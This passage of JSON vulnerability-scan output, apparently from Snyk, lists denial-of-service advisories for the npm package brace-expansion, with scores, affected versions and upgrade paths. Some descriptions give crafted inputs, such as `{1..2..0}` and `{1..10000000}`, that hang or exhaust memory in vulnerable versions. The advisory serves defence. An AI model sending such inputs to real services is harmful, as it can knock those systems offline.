"epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", 